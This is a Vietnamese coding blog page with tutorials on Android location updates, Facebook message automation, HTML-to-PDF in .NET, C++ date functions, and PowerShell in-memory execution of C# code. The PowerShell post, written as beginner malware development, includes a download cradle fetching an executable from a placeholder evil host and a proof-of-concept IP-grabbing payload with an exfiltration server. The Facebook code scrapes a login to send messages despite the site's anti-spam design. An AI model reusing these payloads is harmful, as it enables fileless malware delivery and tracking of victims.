    private void startLocationUpdates() {
        Log.i(TAG, "startLocationUpdates");

        LocationSettingsRequest.Builder builder = new LocationSettingsRequest.Builder()
                .addLocationRequest(mLocationRequest);
        // 現在位置の取得の前に位置情報の設定が有効になっているか確認する
        PendingResult result =
                LocationServices.SettingsApi.checkLocationSettings(mGoogleApiClient, builder.build());
        result.setResultCallback(new ResultCallback() {
            @Override
            public void onResult(@NonNull LocationSettingsResult locationSettingsResult) {
                final Status status = locationSettingsResult.getStatus();

                switch (status.getStatusCode()) {
                    case LocationSettingsStatusCodes.SUCCESS:
                        // 設定が有効になっているので現在位置を取得する
                        if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
                            LocationServices.FusedLocationApi.requestLocationUpdates(mGoogleApiClient, mLocationRequest, MainActivity.this);
                        }
                        break;
                    case LocationSettingsStatusCodes.RESOLUTION_REQUIRED:
                        // 設定が有効になっていないのでダイアログを表示する
                        try {
                            status.startResolutionForResult(MainActivity.this, REQUEST_CHECK_SETTINGS);
                        } catch (IntentSender.SendIntentException e) {
                            // Ignore the error.
                        }
                        break;
                    case LocationSettingsStatusCodes.SETTINGS_CHANGE_UNAVAILABLE:
                        // Location settings are not satisfied. However, we have no way
                        // to fix the settings so we won't show the dialog.
                        break;
                }
            }
        });
    }

    private void setButtonsEnabledState() {
        if (mRequestingLocationUpdates) {
            mBinding.startUpdatesButton.setEnabled(false);
            mBinding.stopUpdatesButton.setEnabled(true);
        } else {
            mBinding.startUpdatesButton.setEnabled(true);
            mBinding.stopUpdatesButton.setEnabled(false);
        }
    }

    private void clearUI() {
        mBinding.latitudeText.setText("");
        mBinding.longitudeText.setText("");
        mBinding.lastUpdateTimeText.setText("");
    }

    private void updateUI() {
        if (mCurrentLocation == null) return;

        mBinding.latitudeText.setText(String.format("%s: %f", mLatitudeLabel,
                mCurrentLocation.getLatitude()));
        mBinding.longitudeText.setText(String.format("%s: %f", mLongitudeLabel,
                mCurrentLocation.getLongitude()));
        mBinding.lastUpdateTimeText.setText(String.format("%s: %s", mLastUpdateTimeLabel,
                mLastUpdateTime));
    }

    protected void stopLocationUpdates() {
        Log.i(TAG, "stopLocationUpdates");
        // The final argument to {@code requestLocationUpdates()} is a LocationListener
        // (http://developer.android.com/reference/com/google/android/gms/location/LocationListener.html).
        LocationServices.FusedLocationApi.removeLocationUpdates(mGoogleApiClient, this);
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
        switch (requestCode) {
            case PERMISSIONS_REQUEST_ACCESS_FINE_LOCATION: {
                if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                    setButtonsEnabledState();
                    startLocationUpdates();
                } else {
                    if (!ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.ACCESS_FINE_LOCATION)) {
                        mRequestingLocationUpdates = false;
                        Toast.makeText(MainActivity.this, "このアプリの機能を有効にするには端末の設定画面からアプリの位置情報パーミッションを有効にして下さい。", Toast.LENGTH_SHORT).show();
                    } else {
                        showRationaleDialog();
                    }
                }
                break;
            }
        }
    }

    private void showRationaleDialog() {
        new AlertDialog.Builder(this)
                .setPositiveButton("許可する", new DialogInterface.OnClickListener() {
                    @Override
                    public void onClick(DialogInterface dialog, int which) {
                        ActivityCompat.requestPermissions(MainActivity.this,
                                new String[]{android.Manifest.permission.ACCESS_FINE_LOCATION}, PERMISSIONS_REQUEST_ACCESS_FINE_LOCATION);
                    }
                })
                .setNegativeButton("しない", new DialogInterface.OnClickListener() {
                    @Override
                    public void onClick(DialogInterface dialog, int which) {
                        Toast.makeText(MainActivity.this, "位置情報パーミッションが許可されませんでした。", Toast.LENGTH_SHORT).show();
                        mRequestingLocationUpdates = false;
                    }
                })
                .setCancelable(false)
                .setMessage("このアプリは位置情報の利用を許可する必要があります。")
                .show();
    }

    public static boolean isPlayServicesAvailable(Context context) {
        // Google Play Service APKが有効かどうかチェックする
        int resultCode = GoogleApiAvailability.getInstance().isGooglePlayServicesAvailable(context);
        if (resultCode != ConnectionResult.SUCCESS) {
            GoogleApiAvailability.getInstance().getErrorDialog((Activity) context, resultCode, 2).show();
            return false;
        }
        return true;
    }

    @Override
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        switch (requestCode) {
            case REQUEST_CHECK_SETTINGS:
                switch (resultCode) {
                    case Activity.RESULT_OK:
                        startLocationUpdates();
                        break;
                    case Activity.RESULT_CANCELED:
                        break;
                }
                break;
        }
    }

    @Override
    protected void onStart() {
        super.onStart();
        mGoogleApiClient.connect();
    }

    @Override
    public void onResume() {
        super.onResume();
        isPlayServicesAvailable(this);

        // Within {@code onPause()}, we pause location updates, but leave the
        // connection to GoogleApiClient intact.  Here, we resume receiving
        // location updates if the user has requested them.

        if (mGoogleApiClient.isConnected() && mRequestingLocationUpdates) {
            startLocationUpdates();
        }
    }

    @Override
    protected void onPause() {
        super.onPause();
        // Stop location updates to save battery, but don't disconnect the GoogleApiClient object.
        if (mGoogleApiClient.isConnected()) {
            stopLocationUpdates();
        }
    }

    @Override
    protected void onStop() {
        stopLocationUpdates();
        mGoogleApiClient.disconnect();

        super.onStop();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
    }

    @Override
    public void onConnected(@Nullable Bundle bundle) {
        Log.i(TAG, "onConnected");
        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
            return;
        }
        if (mCurrentLocation == null) {
            mCurrentLocation = LocationServices.FusedLocationApi.getLastLocation(mGoogleApiClient);
            mLastUpdateTime = DateFormat.getTimeInstance().format(new Date());
            updateUI();
        }

        if (mRequestingLocationUpdates) {
            startLocationUpdates();
        }
    }

    @Override
    public void onLocationChanged(Location location) {
        Log.i(TAG, "onLocationChanged");
        mCurrentLocation = location;
        mLastUpdateTime = DateFormat.getTimeInstance().format(new Date());
        updateUI();
        Toast.makeText(this, getResources().getString(R.string.location_updated_message), Toast.LENGTH_SHORT).show();
    }

    @Override
    public void onConnectionSuspended(int i) {
        // The connection to Google Play services was lost for some reason. We call connect() to
        // attempt to re-establish the connection.
        Log.i(TAG, "Connection suspended");
        mGoogleApiClient.connect();
    }

    @Override
    public void onConnectionFailed(@NonNull ConnectionResult connectionResult) {
        // Refer to the javadoc for ConnectionResult to see what error codes might be returned in
        // onConnectionFailed.
        Log.i(TAG, "Connection failed: ConnectionResult.getErrorCode() = " + connectionResult.getErrorCode());
    }

    public void onSaveInstanceState(Bundle savedInstanceState) {
        savedInstanceState.putBoolean(REQUESTING_LOCATION_UPDATES_KEY, mRequestingLocationUpdates);
        savedInstanceState.putParcelable(LOCATION_KEY, mCurrentLocation);
        savedInstanceState.putString(LAST_UPDATED_TIME_STRING_KEY, mLastUpdateTime);
        super.onSaveInstanceState(savedInstanceState);
    }
}

File Activity_main.xml

<!--?xml version="1.0" encoding="utf-8"?-->
<layout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" tools:context="com.sakurafish.kotlin.example.MainActivity">
 
    <linearlayout android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" android:paddingbottom="@dimen/activity_vertical_margin" android:paddingleft="@dimen/activity_horizontal_margin" android:paddingright="@dimen/activity_horizontal_margin" android:paddingtop="@dimen/activity_vertical_margin">
 
        <linearlayout android:layout_width="match_parent" android:layout_height="wrap_content" android:baselinealigned="false" android:orientation="horizontal">
 
            <button android:id="@+id/start_updates_button" android:layout_width="0dp" android:layout_weight="1" android:layout_height="wrap_content" android:layout_marginend="10dp" android:layout_marginright="10dp" android:gravity="center" android:onclick="startUpdatesButtonHandler" android:text="@string/start_updates">
 
            </button><button android:id="@+id/stop_updates_button" android:layout_width="0dp" android:layout_weight="1" android:layout_height="wrap_content" android:layout_marginleft="@dimen/small_margin" android:layout_marginstart="@dimen/small_margin" android:enabled="false" android:gravity="center" android:onclick="stopUpdatesButtonHandler" android:text="@string/stop_updates">
         
 
        <textview android:id="@+id/latitude_text" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginleft="@dimen/small_margin" android:layout_marginstart="@dimen/small_margin" android:textsize="@dimen/default_text_size">
 
        <textview android:id="@+id/longitude_text" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginleft="@dimen/small_margin" android:layout_marginstart="@dimen/small_margin" android:textsize="@dimen/default_text_size">
 
        <textview android:id="@+id/last_update_time_text" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginleft="@dimen/small_margin" android:layout_marginstart="@dimen/small_margin" android:textsize="@dimen/default_text_size">
     
</textview></textview></textview></button></linearlayout></linearlayout></layout>

File androidManifest.xml

<!--?xml version="1.0" encoding="utf-8"?-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.sakurafish.exam.location.api">
 
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION">
 
    <application android:allowbackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsrtl="true" android:theme="@style/AppTheme">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN">
 
                <category android:name="android.intent.category.LAUNCHER">
            </category></action></intent-filter>
        </activity>
    </application>
 
</uses-permission></manifest>

Qua những đoạn code phía trên bạn cũng đã có sơ bộ một chút về tiện ích đó rồi.
Theo LapTrinhVB

on Thứ Sáu, 22 tháng 3, 2024 | , | A comment?

[C#] Send a message private from facebook social

Bài viết hôm nay, mình sẽ hướng dẫn các bạn viết một ứng dụng gởi tin nhắn private qua facebook C#.

[C#] Hướng dẫn viết ứng dụng gởi tin nhắn private qua facebook

Nếu các bạn muốn gởi tin nhắn qua facebook bằng app. Thì các bạn có thể viết bằng thủ thuật mình hướng dẫn bên dưới.

Vì mặc định, Facebook chống spam tin nhắn, nên các bạn sẽ tìm API send private a message to Facebook sẽ không có nhé các bạn.

Để lấy được id_sender của facebook các bạn có thể tham khảo thêm video ở cuối bài.
Send a message private from facebook social

Source code C#

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using System.Windows.Forms;
using xNet;



namespace sendFacebookMessage
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
           

        }
      

        private void btnSend_Click(object sender, EventArgs e)
        {
            string email = "xxxx@gmail.com"; // nhap email của bạn
            string password = "mat khau"; // nhap mat khau cua ban o day
            HttpRequest http = new HttpRequest();
            http.Cookies = new CookieDictionary();
            http.UserAgent = Http.FirefoxUserAgent();
            string html = http.Get("https://m.facebook.com").ToString();

            //Test(html);
            string lsd = Regex.Match(html, "name="lsd" value="(.*?)"").Groups[1].Value;
            string type = "application/x-www-form-urlencoded";
            string urlLogin = "https://m.facebook.com/login.php";
            string data = "lsd=" + lsd + "&m_ts=1502509596&li=HHqOWduNRyxgj_bHQgsyFVjB&try_number=0&unrecognized_tries=0&email=" + email + "&pass=" + password + "&login=%C4%90%C4%83ng+nh%E1%BA%ADp";
            html = http.Post(urlLogin, data, type).ToString();
            //Test(html);
            //send ok
            string fb_dtsg = Regex.Match(html, "name="fb_dtsg" value="(.*?)"").Groups[1].Value;
            string content = txtMessage.Text;
            string urlSend = "https://m.facebook.com/messages/send/?icm=1&refid=12";
            string friend_id = "id.158017867633548";

            string dataSend = "fb_dtsg=" + fb_dtsg + "&body=" + content + "&send=G%E1%BB%ADi&tids="+ friend_id +"&wwwupp=C3&wwwupp=C3&ids%5B100006313591670%5D=100006313591670&referrer=&ctype=&cver=legacy&csid=f2a3f319-7eab-3f4a-376e-30898e3e9987";
            




              html = http.Post(urlSend, dataSend, type).ToString();
        }
    }
}

VIDEO DEMO THỦ THUẬT.


on Thứ Năm, 21 tháng 3, 2024 | , | A comment?

[C#] How to convert HTML to PDF in Netcore

Xin chào các bạn, bài viết hôm nay mình tiếp tục hướng dẫn các bạn cách chuyển đổi mã code HTML sang tập tin PDF file trên NET Core.

[C#] Hướng dẫn convert HTML code sang PDF File trên NetCore 7 Winform

Mình cũng đã có bài viết về cách chuyển đổi này tuy nhiên nó làm việc trên Netframework.
Nếu bạn nào đang dùng netcore thì thực hiện theo bài viết này nhé.

Đầu tiên, các bạn cài đặt cho mình thư viện DinktoPDF từ nuget:

NuGet\Install-Package DinkToPdf -Version 1.0.8

Khi các bạn thực hiện tạo pdf trên thư viện này nó xảy ra lỗi như sau.

DllNotFoundException: Unable to load DLL 'libwkhtmltox' or one of its dependencies: The specified module could not be found. (0x8007007E)

Bạn cần import thư viện libwkhtmltox.dll từ source code mình về vào chép vào thư mục chạy ứng dụng.

Ở tập tin program.cs: các bạn load dll dynamic vào như code mình bên dưới:

using System.Runtime.InteropServices;

namespace HTMLTOPDFDemo
{
    internal static class Program
    {

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
        private static extern bool SetDllDirectory(string lpPathName);

        [DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
        private static extern IntPtr LoadLibrary(string lpFileName);

        /// <summary>
        ///  The main entry point for the application.
        /// </summary>
        [STAThread]
        static void Main()
        {

            string dllPath = Path.Combine(Directory.GetCurrentDirectory(), "NativeLibraries");
            if (!SetDllDirectory(dllPath))
            {
                Console.WriteLine($"Failed to set DLL directory: {Marshal.GetLastWin32Error()}");
                return;
            }

            // Load the required native library
            string libraryName = "libwkhtmltox.dll";
            IntPtr libHandle = LoadLibrary(libraryName);
            if (libHandle == IntPtr.Zero)
            {
                Console.WriteLine($"Failed to load library '{libraryName}': {Marshal.GetLastWin32Error()}");
                return;
            }

            Console.WriteLine("Library loaded successfully!");

            // To customize application configuration such as set high DPI settings or default font,
            // see https://aka.ms/applicationconfiguration.
            ApplicationConfiguration.Initialize();
            Application.Run(new Form1());
        }
    }
}

Tiếp đến, các bạn tạo file PDFHelper.cs class

using DinkToPdf;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace HTMLTOPDFDemo
{
    public class PDFHelper
    {
        private  readonly SynchronizedConverter _converter;
        public PDFHelper()
        {
            _converter = new SynchronizedConverter(new PdfTools());
        }
        public  string ConvertHtmlToPdf(string htmlContent)
        {
            try
            {
              
                var customSize = new PechkinPaperSize("150", "220");

                var globalSettings = new GlobalSettings
                {
                    PaperSize = customSize,
                    Orientation = DinkToPdf.Orientation.Portrait,
                    DPI = 300,
                    Margins = new MarginSettings { Top = 5, Bottom = 5, Left = 5, Right = 5 }
                };

                var objectSettings = new ObjectSettings
                {
                    PagesCount = true,
                    HtmlContent = htmlContent,
                    // WebSettings = { DefaultEncoding = "utf-8", UserStyleSheet = Path.Combine(Directory.GetCurrentDirectory(), "styles.css") }
                    WebSettings = { DefaultEncoding = "utf-8" }
                };

                var pdf = new HtmlToPdfDocument()
                {
                    GlobalSettings = globalSettings,
                    Objects = { objectSettings }
                };

                byte[] pdfBytes = _converter.Convert(pdf);
                string pdfPath = Path.Combine(Application.StartupPath + "\\pdfExport", $"{Guid.NewGuid()}.pdf");
                File.WriteAllBytes(pdfPath, pdfBytes);

                return pdfPath;
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Error converting HTML to PDF: {ex.Message}");
                return "";
            }
        }
    }
}

Ở form1.cs, các bạn chỉ cần gọi để sử dụng

using DinkToPdf;
using System.Diagnostics;
using System.Drawing.Printing;
using System.IO.Packaging;
using System.Windows.Forms;

namespace HTMLTOPDFDemo
{
    public partial class Form1 : Form
    {
        //NuGet\Install-Package DinkToPdf -Version 1.0.8
      
        public Form1()
        {
            InitializeComponent();
           
        }

        private void button1_Click(object sender, EventArgs e)
        {
            var htmlText = File.ReadAllText("invoice.html");
            var pdfFile = new PDFHelper(). ConvertHtmlToPdf(htmlText);
            Process.Start(new ProcessStartInfo(pdfFile) { UseShellExecute = true });
           
        }
       
    }
}

Chúc các bạn thành công với tiện ích trên.

DOWNLOAD SOURCE CODE


PASSWORD UNZIP: HUNG.PRO.VN

on Thứ Ba, 19 tháng 3, 2024 | , , , , | A comment?

[CSHARP] Powershell In-File Execution of C# Code

Giới thiệu

Cách đây một thời gian tôi đã xem video của John Hammond về chủ đề này 17và nghĩ rằng đây sẽ là một phương pháp thú vị để thu nhỏ và giới thiệu.

Thực thi mã C# trong tệp Powershell 

Tuyên bố miễn trừ trách nhiệm: Tôi là người mới bắt đầu phát triển phần mềm độc hại, C# và Powershell, tôi sẽ đánh giá cao những lời chỉ trích.

Giải trình

Đầu tiên, chúng ta cần hiểu cách tải C# phổ biến nhất, thông qua một tệp thực thi:
Tìm nạp nội dung thực thi và gói gọn trong một mảng byte.

Tải nội dung thực thi bằng phương thức [System.Reflection.Assembly]::load().
Sử dụng Reflection để thực thi lắp ráp đã tải của chúng tôi.

Mã bên dưới tuân theo các bước sau:

$bytes = (Invoke-WebRequest "https://evil.com/evilexe.exe").Content
$loadedAssembly = [System.Reflection.Assembly]::Load($bytes)

# Create entrypoint object and call it.

$entry = 
$loadedAssembly.GetType("NAMSPACE.CLASS_NAME").
   GetMethod('STATIC_METHOD_NAME', [Reflection.BindingFlags] 'Static, Public, NonPublic')

$entry.Invoke($null)

Chuỗi C#

Thay vì biên dịch và tải xuống một tệp thực thi, tại sao chúng ta không cung cấp một chuỗi nhiều dòng với mã C# mà chúng ta mong muốn và “load” nó như sau:
Add-Type @"
using System;
 
public class Payload {
 
    static void Execute() {
        while (true) {
            Console.WriteLine("wow :O");
        }
    }
}
 
"@
 
$pl = New-Object Payload
 
$pl.Execute()

Bây giờ tôi biết nếu bạn muốn cấu trúc mã của mình giống như một lập trình viên giỏi, với nhiều tệp và DLL, điều này có vẻ hơi tệ. Điểm cộng lớn của phương pháp này là bạn không cần tải xuống hoặc lưu trữ các mảng byte thực thi trong tập lệnh của mình.

Bằng chứng về khái niệm: Bộ lọc/ghi nhật ký IP

Là một bằng chứng đơn giản về khái niệm, chúng tôi sẽ xây dựng một trình ghi nhật ký IP cơ bản, tập lệnh lấy IP của nạn nhân từ https://ipinfo.io/ip 1và lọc nó vào URL độc ác của chúng tôi.:smiling_imp:

Máy chủ

Máy chủ tôi viết được viết bằng micro-framework Python có tên là Flask, bạn có thể tìm thấy mã bên dưới:
from flask import Flask, request

app = Flask(__name__)
database = [] # Psuedo database 


@app.route("/")
def index():
    ip = request.args.get("ip")
    print(f"[!] Grabbed IP: {ip}")
    database.append(ip)

    return "status: 200"

# Driver code
if __name__ == "__main__":
    app.run(port = 8080)

Tải trọng

Thành thật mà nói, tải trọng có thể được viết tốt hơn, các yêu cầu có thể được xử lý thông qua một chức năng duy nhất thay vì mở nhiều phiên bản HttpClient, nhưng tôi phải nhắc nhở bản thân rằng đây chỉ là một PoC. Mã dưới đây:
Add-Type @"
using System;
using System.Net.Http; 

public class Payload {
        public static string HandleGrab() {
                using (var client = new HttpClient()) {
                        var ipEp = new Uri("https://ipinfo.io/ip");
                        var res = client.GetAsync(ipEp).Result;

                        return res.Content.ReadAsStringAsync().Result;
                }
        }
 
        public static void Execute() {
                using (var client = new HttpClient()) {
                        var ipAddr = Payload.HandleGrab();

                        // Exfiltration process
                        var endpoint = new Uri($"http://localhost:8080/?ip={ipAddr}");
                        var res = client.GetAsync(endpoint).Result;
                        var resJson = res.Content.ReadAsStringAsync().Result;

                        Console.WriteLine(resJson);
                }
        }
}
"@

$pl = New-Object Payload

$pl.Execute()

Chúc mọi người thành công.

on Thứ Hai, 18 tháng 3, 2024 | , , | A comment?

[C++] Date And Time

Hi mọi người, hôm nay minh sẽ hướng dẫn các bạn các hàm dữ liệu của ngày tháng trong C++


Thư viện chuẩn C++ (C++ Standard Library) không cung cấp một kiểu Date thích đáng. C++C++ kế thừa cấu trúc và hàm để thao tác Date và Time từ C. Để truy cập các hàm và cấu trúc liên quan tới Date và Time, bạn sẽ cần khai báo trong chương trình C++ của bạn.

Có 4 kiểu liên quan tới thời gian: clock_t, time_t, size_t, và tm. Trong đó các kiểu clock_t, size_t và time_t có thể biểu diễn System date và time dạng int.

Kiểu cấu trúc tm giữ Date và Time trong mẫu một cấu trúc C có các phần tử sau:

struct tm 
{ 
    int tm_sec; 
    // so giay trong mot phut, tu 0 toi 61 
    int tm_min; 
    // so phut trong mot gio, tu 0 toi 59 
    int tm_hour; 
    // so gio trong mot ngay, tu 0 toi 24 
    int tm_mday; 
    // ngay trong thang, tu 1 toi 31 
    int tm_mon; 
    // thang trong nam, tu 0 toi 11 
    int tm_year; 
    // nam, bat dau tu 1900 
    int tm_wday; 
    // ngay, bat dau tu Sunday 
    int tm_yday; 
    // ngay, bat dau tu 1/1 
    int tm_isdst; 
    // so gio cua Daylight Savings Time 
}

Bảng dưới liệt kê các hàm quan trọng trong khi bạn làm việc với Date và Time trong C hoặc C++. Tất vả hàm này là một phần của thư viện C và C++ chuẩn và bạn có thể kiểm tra chi tiết bởi sử dụng tham chiếu tới Thư viện chuẩn C++ được cung cấp dưới đây:
  • time_t time(time_t *time); trả về thời gian theo lịch của hệ thống, là số giây đã trôi qua từ 1/1/1970. Nếu hệ thống không có thời gian, nó trả về -1.
  • char *ctime(const time_t *time); trả về một con trỏ tới một chuỗi của mẫu: day month year hours:minutes:seconds year\n\0.
  • struct tm *localtime(const time_t *time); trả về một con trỏ tới cấu trúc tm biểu diễn local time.
  • clock_t clock(void); trả về một giá trị mà xấp xỉ với lượng thời gian của chương trình đang gọi đã đang chạy. Trả về -1 nếu thời gian là không có sẵn.
  • char * asctime (const struct tm * time); trả về một con trỏ tới một chuỗi mà chứa thông tin được lưu giữ trong cấu trúc được trỏ tới bởi time được biến đổi thành mẫu: day month date hours:minutes:seconds year\n\0 struct tm *gmtime(const time_t *time); trả về một con trỏ tới time trong mẫu cấu trúc tm. Thời gian được biểu diễn dạng Coordinated Universal Time (UTC), về bản chất là Greenwich Mean Time (GMT).
  • time_t mktime(struct tm *time); trả về thời gian theo lịch tương đương với thời gian được tìm thấy trong cấu trúc được trỏ tới bởi time.
  • double difftime (time_t time2, time_t time1); tính toán sự khác nhau về số giây của time1 và time2.
  • size_t strftime(); sử dụng để định dạng Date và Time trong một định dạng cụ thể.

Date và Time hiện tại trong C++

Giả sử bạn muốn lấy date và time hiện tại của hệ thống: hoặc local time hoặc dạng UTC. Ví dụ sau thực hiện công việc trên:
  #include <iostream> 
#include <ctime> 
using namespace std; 
int main( ) 
{ 
    // tra ve date/time hien tai dua tren system hien tai 
    time_t hientai = time(0); 
    // chuyen doi hientai thanh dang chuoi 
    char* dt = ctime(&hientai); 
    cout << "Date va Time dang local la: " << dt << endl; 
    // chuyen doi hientai thanh dang tm struct cho UTC 
    tm *gmtm = gmtime(&hientai); 
    dt = asctime(gmtm); 
    cout << "UTC date va time la: "<< dt << endl; 
}
  

Biên dịch và chạy chương trình C++ trên sẽ cho kết quả sau:

Định dạng Time bởi sử dụng cấu trúc tm struct trong C++

Cấu trúc tm struct là rất quan trọng trong khi làm việc với Date và Time trong C và C++. Cấu trúc này giữ Date và Time trong mẫu của một cấu trúc C đã được đề cập ở trên. Hầu hết các hàm liên quan tới thời gian đều sử dụng cấu trúc tm. Ví dụ sau sử dụng các hàm đa dạng liên quan tới Date và Time và cấu trúc tm:

Trong khi sử dụng cấu trúc trong chương này, mình giả sử bạn đã hiểu cơ bản về cấu trúc trong C và cách truy cập các thành viên của cấu trúc bởi sử dụng toán tử
  #include <iostream> 
#include <ctime> 
using namespace std; 
int main( ) 
{ 
    // tra ve date/time hien tai dua tren system hien tai 
    time_t baygio = time(0); 
    cout << "So giay ke tu 1/1/1970 la: " << baygio << endl; 
    tm *ltm = localtime(&baygio); 
    // in cac thanh phan cua cau truc tm struct. 
    cout << "Nam: "<< 1900 + ltm->tm_year << endl; 
    cout << "Thang: "<< 1 + ltm->tm_mon<< endl; 
    cout << "Ngay: "<< ltm->tm_mday << endl; 
    cout << "Thoi gian: "<< 1 + ltm->tm_hour << ":"; 
    cout << 1 + ltm->tm_min << ":"; 
    cout << 1 + ltm->tm_sec << endl;
}
  
Biên dịch và chạy chương trình C++ trên sẽ cho kết quả sau:


Chúc các bạn thành công với thủ thuật trên.

on Chủ Nhật, 17 tháng 3, 2024 | | A comment?